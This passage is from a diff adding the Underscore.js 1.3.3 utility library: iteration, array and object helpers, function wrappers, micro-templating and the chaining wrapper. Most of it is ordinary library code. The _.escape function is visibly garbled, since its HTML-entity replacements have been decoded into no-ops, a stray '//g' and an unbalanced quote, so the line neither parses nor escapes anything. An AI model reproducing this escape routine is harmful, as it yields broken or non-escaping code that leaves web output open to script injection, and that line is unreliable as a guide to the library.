+ var breaker = {};
+
+ // Save bytes in the minified (but not gzipped) version:
+ var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
+
+ // Create quick reference variables for speed access to core prototypes.
+ var slice = ArrayProto.slice,
+ unshift = ArrayProto.unshift,
+ toString = ObjProto.toString,
+ hasOwnProperty = ObjProto.hasOwnProperty;
+
+ // All **ECMAScript 5** native function implementations that we hope to use
+ // are declared here.
+ var
+ nativeForEach = ArrayProto.forEach,
+ nativeMap = ArrayProto.map,
+ nativeReduce = ArrayProto.reduce,
+ nativeReduceRight = ArrayProto.reduceRight,
+ nativeFilter = ArrayProto.filter,
+ nativeEvery = ArrayProto.every,
+ nativeSome = ArrayProto.some,
+ nativeIndexOf = ArrayProto.indexOf,
+ nativeLastIndexOf = ArrayProto.lastIndexOf,
+ nativeIsArray = Array.isArray,
+ nativeKeys = Object.keys,
+ nativeBind = FuncProto.bind;
+
+ // Create a safe reference to the Underscore object for use below.
+ var _ = function(obj) { return new wrapper(obj); };
+
+ // Export the Underscore object for **Node.js**, with
+ // backwards-compatibility for the old `require()` API. If we're in
+ // the browser, add `_` as a global object via a string identifier,
+ // for Closure Compiler "advanced" mode.
+ if (typeof exports !== 'undefined') {
+ if (typeof module !== 'undefined' && module.exports) {
+ exports = module.exports = _;
+ }
+ exports._ = _;
+ } else {
+ root['_'] = _;
+ }
+
+ // Current version.
+ _.VERSION = '1.3.3';
+
+ // Collection Functions
+ // --------------------
+
+ // The cornerstone, an `each` implementation, aka `forEach`.
+ // Handles objects with the built-in `forEach`, arrays, and raw objects.
+ // Delegates to **ECMAScript 5**'s native `forEach` if available.
+ var each = _.each = _.forEach = function(obj, iterator, context) {
+ if (obj == null) return;
+ if (nativeForEach && obj.forEach === nativeForEach) {
+ obj.forEach(iterator, context);
+ } else if (obj.length === +obj.length) {
+ for (var i = 0, l = obj.length; i < l; i++) {
+ if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return;
+ }
+ } else {
+ for (var key in obj) {
+ if (_.has(obj, key)) {
+ if (iterator.call(context, obj[key], key, obj) === breaker) return;
+ }
+ }
+ }
+ };
+
+ // Return the results of applying the iterator to each element.
+ // Delegates to **ECMAScript 5**'s native `map` if available.
+ _.map = _.collect = function(obj, iterator, context) {
+ var results = [];
+ if (obj == null) return results;
+ if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
+ each(obj, function(value, index, list) {
+ results[results.length] = iterator.call(context, value, index, list);
+ });
+ if (obj.length === +obj.length) results.length = obj.length;
+ return results;
+ };
+
+ // **Reduce** builds up a single result from a list of values, aka `inject`,
+ // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
+ _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
+ var initial = arguments.length > 2;
+ if (obj == null) obj = [];
+ if (nativeReduce && obj.reduce === nativeReduce) {
+ if (context) iterator = _.bind(iterator, context);
+ return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
+ }
+ each(obj, function(value, index, list) {
+ if (!initial) {
+ memo = value;
+ initial = true;
+ } else {
+ memo = iterator.call(context, memo, value, index, list);
+ }
+ });
+ if (!initial) throw new TypeError('Reduce of empty array with no initial value');
+ return memo;
+ };
+
+ // The right-associative version of reduce, also known as `foldr`.
+ // Delegates to **ECMAScript 5**'s native `reduceRight` if available.
+ _.reduceRight = _.foldr = function(obj, iterator, memo, context) {
+ var initial = arguments.length > 2;
+ if (obj == null) obj = [];
+ if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
+ if (context) iterator = _.bind(iterator, context);
+ return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
+ }
+ var reversed = _.toArray(obj).reverse();
+ if (context && !initial) iterator = _.bind(iterator, context);
+ return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);
+ };
+
+ // Return the first value which passes a truth test. Aliased as `detect`.
+ _.find = _.detect = function(obj, iterator, context) {
+ var result;
+ any(obj, function(value, index, list) {
+ if (iterator.call(context, value, index, list)) {
+ result = value;
+ return true;
+ }
+ });
+ return result;
+ };
+
+ // Return all the elements that pass a truth test.
+ // Delegates to **ECMAScript 5**'s native `filter` if available.
+ // Aliased as `select`.
+ _.filter = _.select = function(obj, iterator, context) {
+ var results = [];
+ if (obj == null) return results;
+ if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
+ each(obj, function(value, index, list) {
+ if (iterator.call(context, value, index, list)) results[results.length] = value;
+ });
+ return results;
+ };
+
+ // Return all the elements for which a truth test fails.
+ _.reject = function(obj, iterator, context) {
+ var results = [];
+ if (obj == null) return results;
+ each(obj, function(value, index, list) {
+ if (!iterator.call(context, value, index, list)) results[results.length] = value;
+ });
+ return results;
+ };
+
+ // Determine whether all of the elements match a truth test.
+ // Delegates to **ECMAScript 5**'s native `every` if available.
+ // Aliased as `all`.
+ _.every = _.all = function(obj, iterator, context) {
+ var result = true;
+ if (obj == null) return result;
+ if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
+ each(obj, function(value, index, list) {
+ if (!(result = result && iterator.call(context, value, index, list))) return breaker;
+ });
+ return !!result;
+ };
+
+ // Determine if at least one element in the object matches a truth test.
+ // Delegates to **ECMAScript 5**'s native `some` if available.
+ // Aliased as `any`.
+ var any = _.some = _.any = function(obj, iterator, context) {
+ iterator || (iterator = _.identity);
+ var result = false;
+ if (obj == null) return result;
+ if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context);
+ each(obj, function(value, index, list) {
+ if (result || (result = iterator.call(context, value, index, list))) return breaker;
+ });
+ return !!result;
+ };
+
+ // Determine if a given value is included in the array or object using `===`.
+ // Aliased as `contains`.
+ _.include = _.contains = function(obj, target) {
+ var found = false;
+ if (obj == null) return found;
+ if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1;
+ found = any(obj, function(value) {
+ return value === target;
+ });
+ return found;
+ };
+
+ // Invoke a method (with arguments) on every item in a collection.
+ _.invoke = function(obj, method) {
+ var args = slice.call(arguments, 2);
+ return _.map(obj, function(value) {
+ return (_.isFunction(method) ? method || value : value[method]).apply(value, args);
+ });
+ };
+
+ // Convenience version of a common use case of `map`: fetching a property.
+ _.pluck = function(obj, key) {
+ return _.map(obj, function(value){ return value[key]; });
+ };
+
+ // Return the maximum element or (element-based computation).
+ _.max = function(obj, iterator, context) {
+ if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.max.apply(Math, obj);
+ if (!iterator && _.isEmpty(obj)) return -Infinity;
+ var result = {computed : -Infinity};
+ each(obj, function(value, index, list) {
+ var computed = iterator ? iterator.call(context, value, index, list) : value;
+ computed >= result.computed && (result = {value : value, computed : computed});
+ });
+ return result.value;
+ };
+
+ // Return the minimum element (or element-based computation).
+ _.min = function(obj, iterator, context) {
+ if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.min.apply(Math, obj);
+ if (!iterator && _.isEmpty(obj)) return Infinity;
+ var result = {computed : Infinity};
+ each(obj, function(value, index, list) {
+ var computed = iterator ? iterator.call(context, value, index, list) : value;
+ computed < result.computed && (result = {value : value, computed : computed});
+ });
+ return result.value;
+ };
+
+ // Shuffle an array.
+ _.shuffle = function(obj) {
+ var shuffled = [], rand;
+ each(obj, function(value, index, list) {
+ rand = Math.floor(Math.random() * (index + 1));
+ shuffled[index] = shuffled[rand];
+ shuffled[rand] = value;
+ });
+ return shuffled;
+ };
+
+ // Sort the object's values by a criterion produced by an iterator.
+ _.sortBy = function(obj, val, context) {
+ var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+ return _.pluck(_.map(obj, function(value, index, list) {
+ return {
+ value : value,
+ criteria : iterator.call(context, value, index, list)
+ };
+ }).sort(function(left, right) {
+ var a = left.criteria, b = right.criteria;
+ if (a === void 0) return 1;
+ if (b === void 0) return -1;
+ return a < b ? -1 : a > b ? 1 : 0;
+ }), 'value');
+ };
+
+ // Groups the object's values by a criterion. Pass either a string attribute
+ // to group by, or a function that returns the criterion.
+ _.groupBy = function(obj, val) {
+ var result = {};
+ var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+ each(obj, function(value, index) {
+ var key = iterator(value, index);
+ (result[key] || (result[key] = [])).push(value);
+ });
+ return result;
+ };
+
+ // Use a comparator function to figure out at what index an object should
+ // be inserted so as to maintain order. Uses binary search.
+ _.sortedIndex = function(array, obj, iterator) {
+ iterator || (iterator = _.identity);
+ var low = 0, high = array.length;
+ while (low < high) {
+ var mid = (low + high) >> 1;
+ iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;
+ }
+ return low;
+ };
+
+ // Safely convert anything iterable into a real, live array.
+ _.toArray = function(obj) {
+ if (!obj) return [];
+ if (_.isArray(obj)) return slice.call(obj);
+ if (_.isArguments(obj)) return slice.call(obj);
+ if (obj.toArray && _.isFunction(obj.toArray)) return obj.toArray();
+ return _.values(obj);
+ };
+
+ // Return the number of elements in an object.
+ _.size = function(obj) {
+ return _.isArray(obj) ? obj.length : _.keys(obj).length;
+ };
+
+ // Array Functions
+ // ---------------
+
+ // Get the first element of an array. Passing **n** will return the first N
+ // values in the array. Aliased as `head` and `take`. The **guard** check
+ // allows it to work with `_.map`.
+ _.first = _.head = _.take = function(array, n, guard) {
+ return (n != null) && !guard ? slice.call(array, 0, n) : array[0];
+ };
+
+ // Returns everything but the last entry of the array. Especcialy useful on
+ // the arguments object. Passing **n** will return all the values in
+ // the array, excluding the last N. The **guard** check allows it to work with
+ // `_.map`.
+ _.initial = function(array, n, guard) {
+ return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
+ };
+
+ // Get the last element of an array. Passing **n** will return the last N
+ // values in the array. The **guard** check allows it to work with `_.map`.
+ _.last = function(array, n, guard) {
+ if ((n != null) && !guard) {
+ return slice.call(array, Math.max(array.length - n, 0));
+ } else {
+ return array[array.length - 1];
+ }
+ };
+
+ // Returns everything but the first entry of the array. Aliased as `tail`.
+ // Especially useful on the arguments object. Passing an **index** will return
+ // the rest of the values in the array from that index onward. The **guard**
+ // check allows it to work with `_.map`.
+ _.rest = _.tail = function(array, index, guard) {
+ return slice.call(array, (index == null) || guard ? 1 : index);
+ };
+
+ // Trim out all falsy values from an array.
+ _.compact = function(array) {
+ return _.filter(array, function(value){ return !!value; });
+ };
+
+ // Return a completely flattened version of an array.
+ _.flatten = function(array, shallow) {
+ return _.reduce(array, function(memo, value) {
+ if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));
+ memo[memo.length] = value;
+ return memo;
+ }, []);
+ };
+
+ // Return a version of the array that does not contain the specified value(s).
+ _.without = function(array) {
+ return _.difference(array, slice.call(arguments, 1));
+ };
+
+ // Produce a duplicate-free version of the array. If the array has already
+ // been sorted, you have the option of using a faster algorithm.
+ // Aliased as `unique`.
+ _.uniq = _.unique = function(array, isSorted, iterator) {
+ var initial = iterator ? _.map(array, iterator) : array;
+ var results = [];
+ // The `isSorted` flag is irrelevant if the array only contains two elements.
+ if (array.length < 3) isSorted = true;
+ _.reduce(initial, function (memo, value, index) {
+ if (isSorted ? _.last(memo) !== value || !memo.length : !_.include(memo, value)) {
+ memo.push(value);
+ results.push(array[index]);
+ }
+ return memo;
+ }, []);
+ return results;
+ };
+
+ // Produce an array that contains the union: each distinct element from all of
+ // the passed-in arrays.
+ _.union = function() {
+ return _.uniq(_.flatten(arguments, true));
+ };
+
+ // Produce an array that contains every item shared between all the
+ // passed-in arrays. (Aliased as "intersect" for back-compat.)
+ _.intersection = _.intersect = function(array) {
+ var rest = slice.call(arguments, 1);
+ return _.filter(_.uniq(array), function(item) {
+ return _.every(rest, function(other) {
+ return _.indexOf(other, item) >= 0;
+ });
+ });
+ };
+
+ // Take the difference between one array and a number of other arrays.
+ // Only the elements present in just the first array will remain.
+ _.difference = function(array) {
+ var rest = _.flatten(slice.call(arguments, 1), true);
+ return _.filter(array, function(value){ return !_.include(rest, value); });
+ };
+
+ // Zip together multiple lists into a single array -- elements that share
+ // an index go together.
+ _.zip = function() {
+ var args = slice.call(arguments);
+ var length = _.max(_.pluck(args, 'length'));
+ var results = new Array(length);
+ for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i);
+ return results;
+ };
+
+ // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
+ // we need this function. Return the position of the first occurrence of an
+ // item in an array, or -1 if the item is not included in the array.
+ // Delegates to **ECMAScript 5**'s native `indexOf` if available.
+ // If the array is large and already in sort order, pass `true`
+ // for **isSorted** to use binary search.
+ _.indexOf = function(array, item, isSorted) {
+ if (array == null) return -1;
+ var i, l;
+ if (isSorted) {
+ i = _.sortedIndex(array, item);
+ return array[i] === item ? i : -1;
+ }
+ if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);
+ for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i;
+ return -1;
+ };
+
+ // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
+ _.lastIndexOf = function(array, item) {
+ if (array == null) return -1;
+ if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);
+ var i = array.length;
+ while (i--) if (i in array && array[i] === item) return i;
+ return -1;
+ };
+
+ // Generate an integer Array containing an arithmetic progression. A port of
+ // the native Python `range()` function. See
+ // [the Python documentation](http://docs.python.org/library/functions.html#range).
+ _.range = function(start, stop, step) {
+ if (arguments.length <= 1) {
+ stop = start || 0;
+ start = 0;
+ }
+ step = arguments[2] || 1;
+
+ var len = Math.max(Math.ceil((stop - start) / step), 0);
+ var idx = 0;
+ var range = new Array(len);
+
+ while(idx < len) {
+ range[idx++] = start;
+ start += step;
+ }
+
+ return range;
+ };
+
+ // Function (ahem) Functions
+ // ------------------
+
+ // Reusable constructor function for prototype setting.
+ var ctor = function(){};
+
+ // Create a function bound to a given object (assigning `this`, and arguments,
+ // optionally). Binding with arguments is also known as `curry`.
+ // Delegates to **ECMAScript 5**'s native `Function.bind` if available.
+ // We check for `func.bind` first, to fail fast when `func` is undefined.
+ _.bind = function bind(func, context) {
+ var bound, args;
+ if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
+ if (!_.isFunction(func)) throw new TypeError;
+ args = slice.call(arguments, 2);
+ return bound = function() {
+ if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
+ ctor.prototype = func.prototype;
+ var self = new ctor;
+ var result = func.apply(self, args.concat(slice.call(arguments)));
+ if (Object(result) === result) return result;
+ return self;
+ };
+ };
+
+ // Bind all of an object's methods to that object. Useful for ensuring that
+ // all callbacks defined on an object belong to it.
+ _.bindAll = function(obj) {
+ var funcs = slice.call(arguments, 1);
+ if (funcs.length == 0) funcs = _.functions(obj);
+ each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
+ return obj;
+ };
+
+ // Memoize an expensive function by storing its results.
+ _.memoize = function(func, hasher) {
+ var memo = {};
+ hasher || (hasher = _.identity);
+ return function() {
+ var key = hasher.apply(this, arguments);
+ return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
+ };
+ };
+
+ // Delays a function for the given number of milliseconds, and then calls
+ // it with the arguments supplied.
+ _.delay = function(func, wait) {
+ var args = slice.call(arguments, 2);
+ return setTimeout(function(){ return func.apply(null, args); }, wait);
+ };
+
+ // Defers a function, scheduling it to run after the current call stack has
+ // cleared.
+ _.defer = function(func) {
+ return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
+ };
+
+ // Returns a function, that, when invoked, will only be triggered at most once
+ // during a given window of time.
+ _.throttle = function(func, wait) {
+ var context, args, timeout, throttling, more, result;
+ var whenDone = _.debounce(function(){ more = throttling = false; }, wait);
+ return function() {
+ context = this; args = arguments;
+ var later = function() {
+ timeout = null;
+ if (more) func.apply(context, args);
+ whenDone();
+ };
+ if (!timeout) timeout = setTimeout(later, wait);
+ if (throttling) {
+ more = true;
+ } else {
+ result = func.apply(context, args);
+ }
+ whenDone();
+ throttling = true;
+ return result;
+ };
+ };
+
+ // Returns a function, that, as long as it continues to be invoked, will not
+ // be triggered. The function will be called after it stops being called for
+ // N milliseconds. If `immediate` is passed, trigger the function on the
+ // leading edge, instead of the trailing.
+ _.debounce = function(func, wait, immediate) {
+ var timeout;
+ return function() {
+ var context = this, args = arguments;
+ var later = function() {
+ timeout = null;
+ if (!immediate) func.apply(context, args);
+ };
+ if (immediate && !timeout) func.apply(context, args);
+ clearTimeout(timeout);
+ timeout = setTimeout(later, wait);
+ };
+ };
+
+ // Returns a function that will be executed at most one time, no matter how
+ // often you call it. Useful for lazy initialization.
+ _.once = function(func) {
+ var ran = false, memo;
+ return function() {
+ if (ran) return memo;
+ ran = true;
+ return memo = func.apply(this, arguments);
+ };
+ };
+
+ // Returns the first function passed as an argument to the second,
+ // allowing you to adjust arguments, run code before and after, and
+ // conditionally execute the original function.
+ _.wrap = function(func, wrapper) {
+ return function() {
+ var args = [func].concat(slice.call(arguments, 0));
+ return wrapper.apply(this, args);
+ };
+ };
+
+ // Returns a function that is the composition of a list of functions, each
+ // consuming the return value of the function that follows.
+ _.compose = function() {
+ var funcs = arguments;
+ return function() {
+ var args = arguments;
+ for (var i = funcs.length - 1; i >= 0; i--) {
+ args = [funcs[i].apply(this, args)];
+ }
+ return args[0];
+ };
+ };
+
+ // Returns a function that will only be executed after being called N times.
+ _.after = function(times, func) {
+ if (times <= 0) return func();
+ return function() {
+ if (--times < 1) { return func.apply(this, arguments); }
+ };
+ };
+
+ // Object Functions
+ // ----------------
+
+ // Retrieve the names of an object's properties.
+ // Delegates to **ECMAScript 5**'s native `Object.keys`
+ _.keys = nativeKeys || function(obj) {
+ if (obj !== Object(obj)) throw new TypeError('Invalid object');
+ var keys = [];
+ for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;
+ return keys;
+ };
+
+ // Retrieve the values of an object's properties.
+ _.values = function(obj) {
+ return _.map(obj, _.identity);
+ };
+
+ // Return a sorted list of the function names available on the object.
+ // Aliased as `methods`
+ _.functions = _.methods = function(obj) {
+ var names = [];
+ for (var key in obj) {
+ if (_.isFunction(obj[key])) names.push(key);
+ }
+ return names.sort();
+ };
+
+ // Extend a given object with all the properties in passed-in object(s).
+ _.extend = function(obj) {
+ each(slice.call(arguments, 1), function(source) {
+ for (var prop in source) {
+ obj[prop] = source[prop];
+ }
+ });
+ return obj;
+ };
+
+ // Return a copy of the object only containing the whitelisted properties.
+ _.pick = function(obj) {
+ var result = {};
+ each(_.flatten(slice.call(arguments, 1)), function(key) {
+ if (key in obj) result[key] = obj[key];
+ });
+ return result;
+ };
+
+ // Fill in a given object with default properties.
+ _.defaults = function(obj) {
+ each(slice.call(arguments, 1), function(source) {
+ for (var prop in source) {
+ if (obj[prop] == null) obj[prop] = source[prop];
+ }
+ });
+ return obj;
+ };
+
+ // Create a (shallow-cloned) duplicate of an object.
+ _.clone = function(obj) {
+ if (!_.isObject(obj)) return obj;
+ return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
+ };
+
+ // Invokes interceptor with the obj, and then returns obj.
+ // The primary purpose of this method is to "tap into" a method chain, in
+ // order to perform operations on intermediate results within the chain.
+ _.tap = function(obj, interceptor) {
+ interceptor(obj);
+ return obj;
+ };
+
+ // Internal recursive comparison function.
+ function eq(a, b, stack) {
+ // Identical objects are equal. `0 === -0`, but they aren't identical.
+ // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
+ if (a === b) return a !== 0 || 1 / a == 1 / b;
+ // A strict comparison is necessary because `null == undefined`.
+ if (a == null || b == null) return a === b;
+ // Unwrap any wrapped objects.
+ if (a._chain) a = a._wrapped;
+ if (b._chain) b = b._wrapped;
+ // Invoke a custom `isEqual` method if one is provided.
+ if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b);
+ if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a);
+ // Compare `[[Class]]` names.
+ var className = toString.call(a);
+ if (className != toString.call(b)) return false;
+ switch (className) {
+ // Strings, numbers, dates, and booleans are compared by value.
+ case '[object String]':
+ // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
+ // equivalent to `new String("5")`.
+ return a == String(b);
+ case '[object Number]':
+ // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
+ // other numeric values.
+ return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
+ case '[object Date]':
+ case '[object Boolean]':
+ // Coerce dates and booleans to numeric primitive values. Dates are compared by their
+ // millisecond representations. Note that invalid dates with millisecond representations
+ // of `NaN` are not equivalent.
+ return +a == +b;
+ // RegExps are compared by their source patterns and flags.
+ case '[object RegExp]':
+ return a.source == b.source &&
+ a.global == b.global &&
+ a.multiline == b.multiline &&
+ a.ignoreCase == b.ignoreCase;
+ }
+ if (typeof a != 'object' || typeof b != 'object') return false;
+ // Assume equality for cyclic structures. The algorithm for detecting cyclic
+ // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
+ var length = stack.length;
+ while (length--) {
+ // Linear search. Performance is inversely proportional to the number of
+ // unique nested structures.
+ if (stack[length] == a) return true;
+ }
+ // Add the first object to the stack of traversed objects.
+ stack.push(a);
+ var size = 0, result = true;
+ // Recursively compare objects and arrays.
+ if (className == '[object Array]') {
+ // Compare array lengths to determine if a deep comparison is necessary.
+ size = a.length;
+ result = size == b.length;
+ if (result) {
+ // Deep compare the contents, ignoring non-numeric properties.
+ while (size--) {
+ // Ensure commutative equality for sparse arrays.
+ if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break;
+ }
+ }
+ } else {
+ // Objects with different constructors are not equivalent.
+ if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;
+ // Deep compare objects.
+ for (var key in a) {
+ if (_.has(a, key)) {
+ // Count the expected number of properties.
+ size++;
+ // Deep compare each member.
+ if (!(result = _.has(b, key) && eq(a[key], b[key], stack))) break;
+ }
+ }
+ // Ensure that both objects contain the same number of properties.
+ if (result) {
+ for (key in b) {
+ if (_.has(b, key) && !(size--)) break;
+ }
+ result = !size;
+ }
+ }
+ // Remove the first object from the stack of traversed objects.
+ stack.pop();
+ return result;
+ }
+
+ // Perform a deep comparison to check if two objects are equal.
+ _.isEqual = function(a, b) {
+ return eq(a, b, []);
+ };
+
+ // Is a given array, string, or object empty?
+ // An "empty" object has no enumerable own-properties.
+ _.isEmpty = function(obj) {
+ if (obj == null) return true;
+ if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
+ for (var key in obj) if (_.has(obj, key)) return false;
+ return true;
+ };
+
+ // Is a given value a DOM element?
+ _.isElement = function(obj) {
+ return !!(obj && obj.nodeType == 1);
+ };
+
+ // Is a given value an array?
+ // Delegates to ECMA5's native Array.isArray
+ _.isArray = nativeIsArray || function(obj) {
+ return toString.call(obj) == '[object Array]';
+ };
+
+ // Is a given variable an object?
+ _.isObject = function(obj) {
+ return obj === Object(obj);
+ };
+
+ // Is a given variable an arguments object?
+ _.isArguments = function(obj) {
+ return toString.call(obj) == '[object Arguments]';
+ };
+ if (!_.isArguments(arguments)) {
+ _.isArguments = function(obj) {
+ return !!(obj && _.has(obj, 'callee'));
+ };
+ }
+
+ // Is a given value a function?
+ _.isFunction = function(obj) {
+ return toString.call(obj) == '[object Function]';
+ };
+
+ // Is a given value a string?
+ _.isString = function(obj) {
+ return toString.call(obj) == '[object String]';
+ };
+
+ // Is a given value a number?
+ _.isNumber = function(obj) {
+ return toString.call(obj) == '[object Number]';
+ };
+
+ // Is a given object a finite number?
+ _.isFinite = function(obj) {
+ return _.isNumber(obj) && isFinite(obj);
+ };
+
+ // Is the given value `NaN`?
+ _.isNaN = function(obj) {
+ // `NaN` is the only value for which `===` is not reflexive.
+ return obj !== obj;
+ };
+
+ // Is a given value a boolean?
+ _.isBoolean = function(obj) {
+ return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
+ };
+
+ // Is a given value a date?
+ _.isDate = function(obj) {
+ return toString.call(obj) == '[object Date]';
+ };
+
+ // Is the given value a regular expression?
+ _.isRegExp = function(obj) {
+ return toString.call(obj) == '[object RegExp]';
+ };
+
+ // Is a given value equal to null?
+ _.isNull = function(obj) {
+ return obj === null;
+ };
+
+ // Is a given variable undefined?
+ _.isUndefined = function(obj) {
+ return obj === void 0;
+ };
+
+ // Has own property?
+ _.has = function(obj, key) {
+ return hasOwnProperty.call(obj, key);
+ };
+
+ // Utility Functions
+ // -----------------
+
+ // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
+ // previous owner. Returns a reference to the Underscore object.
+ _.noConflict = function() {
+ root._ = previousUnderscore;
+ return this;
+ };
+
+ // Keep the identity function around for default iterators.
+ _.identity = function(value) {
+ return value;
+ };
+
+ // Run a function **n** times.
+ _.times = function (n, iterator, context) {
+ for (var i = 0; i < n; i++) iterator.call(context, i);
+ };
+
+ // Escape a string for HTML interpolation.
+ _.escape = function(string) {
+ return (''+string).replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"').replace(/'/g, ''').replace(/\//g,'/');
+ };
+
+ // If the value of the named property is a function then invoke it;
+ // otherwise, return it.
+ _.result = function(object, property) {
+ if (object == null) return null;
+ var value = object[property];
+ return _.isFunction(value) ? value.call(object) : value;
+ };
+
+ // Add your own custom functions to the Underscore object, ensuring that
+ // they're correctly added to the OOP wrapper as well.
+ _.mixin = function(obj) {
+ each(_.functions(obj), function(name){
+ addToWrapper(name, _[name] = obj[name]);
+ });
+ };
+
+ // Generate a unique integer id (unique within the entire client session).
+ // Useful for temporary DOM ids.
+ var idCounter = 0;
+ _.uniqueId = function(prefix) {
+ var id = idCounter++;
+ return prefix ? prefix + id : id;
+ };
+
+ // By default, Underscore uses ERB-style template delimiters, change the
+ // following template settings to use alternative delimiters.
+ _.templateSettings = {
+ evaluate : /<%([\s\S]+?)%>/g,
+ interpolate : /<%=([\s\S]+?)%>/g,
+ escape : /<%-([\s\S]+?)%>/g
+ };
+
+ // When customizing `templateSettings`, if you don't want to define an
+ // interpolation, evaluation or escaping regex, we need one that is
+ // guaranteed not to match.
+ var noMatch = /.^/;
+
+ // Certain characters need to be escaped so that they can be put into a
+ // string literal.
+ var escapes = {
+ '\\': '\\',
+ "'": "'",
+ 'r': '\r',
+ 'n': '\n',
+ 't': '\t',
+ 'u2028': '\u2028',
+ 'u2029': '\u2029'
+ };
+
+ for (var p in escapes) escapes[escapes[p]] = p;
+ var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
+ var unescaper = /\\(\\|'|r|n|t|u2028|u2029)/g;
+
+ // Within an interpolation, evaluation, or escaping, remove HTML escaping
+ // that had been previously added.
+ var unescape = function(code) {
+ return code.replace(unescaper, function(match, escape) {
+ return escapes[escape];
+ });
+ };
+
+ // JavaScript micro-templating, similar to John Resig's implementation.
+ // Underscore templating handles arbitrary delimiters, preserves whitespace,
+ // and correctly escapes quotes within interpolated code.
+ _.template = function(text, data, settings) {
+ settings = _.defaults(settings || {}, _.templateSettings);
+
+ // Compile the template source, taking care to escape characters that
+ // cannot be included in a string literal and then unescape them in code
+ // blocks.
+ var source = "__p+='" + text
+ .replace(escaper, function(match) {
+ return '\\' + escapes[match];
+ })
+ .replace(settings.escape || noMatch, function(match, code) {
+ return "'+\n_.escape(" + unescape(code) + ")+\n'";
+ })
+ .replace(settings.interpolate || noMatch, function(match, code) {
+ return "'+\n(" + unescape(code) + ")+\n'";
+ })
+ .replace(settings.evaluate || noMatch, function(match, code) {
+ return "';\n" + unescape(code) + "\n;__p+='";
+ }) + "';\n";
+
+ // If a variable is not specified, place data values in local scope.
+ if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
+
+ source = "var __p='';" +
+ "var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n" +
+ source + "return __p;\n";
+
+ var render = new Function(settings.variable || 'obj', '_', source);
+ if (data) return render(data, _);
+ var template = function(data) {
+ return render.call(this, data, _);
+ };
+
+ // Provide the compiled function source as a convenience for build time
+ // precompilation.
+ template.source = 'function(' + (settings.variable || 'obj') + '){\n' +
+ source + '}';
+
+ return template;
+ };
+
+ // Add a "chain" function, which will delegate to the wrapper.
+ _.chain = function(obj) {
+ return _(obj).chain();
+ };
+
+ // The OOP Wrapper
+ // ---------------
+
+ // If Underscore is called as a function, it returns a wrapped object that
+ // can be used OO-style. This wrapper holds altered versions of all the
+ // underscore functions. Wrapped objects may be chained.
+ var wrapper = function(obj) { this._wrapped = obj; };
+
+ // Expose `wrapper.prototype` as `_.prototype`
+ _.prototype = wrapper.prototype;
+
+ // Helper function to continue chaining intermediate results.
+ var result = function(obj, chain) {
+ return chain ? _(obj).chain() : obj;
+ };
+
+ // A method to easily add functions to the OOP wrapper.
+ var addToWrapper = function(name, func) {
+ wrapper.prototype[name] = function() {
+ var args = slice.call(arguments);
+ unshift.call(args, this._wrapped);
+ return result(func.apply(_, args), this._chain);
+ };
+ };
+
+ // Add all of the Underscore functions to the wrapper object.
+ _.mixin(_);
+
+ // Add all mutator Array functions to the wrapper.
+ each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
+ var method = ArrayProto[name];
+ wrapper.prototype[name] = function() {
+ var wrapped = this._wrapped;
+ method.apply(wrapped, arguments);
+ var length = wrapped.length;
+ if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0];
+ return result(wrapped, this._chain);
+ };
+ });
+
+ // Add all accessor Array functions to the wrapper.
+ each(['concat', 'join', 'slice'], function(name) {
+ var method = ArrayProto[name];
+ wrapper.prototype[name] = function() {
+ return result(method.apply(this._wrapped, arguments), this._chain);
+ };
+ });
+
+ // Start chaining a wrapped Underscore object.
+ wrapper.prototype.chain = function() {
+ this._chain = true;
+ return this;
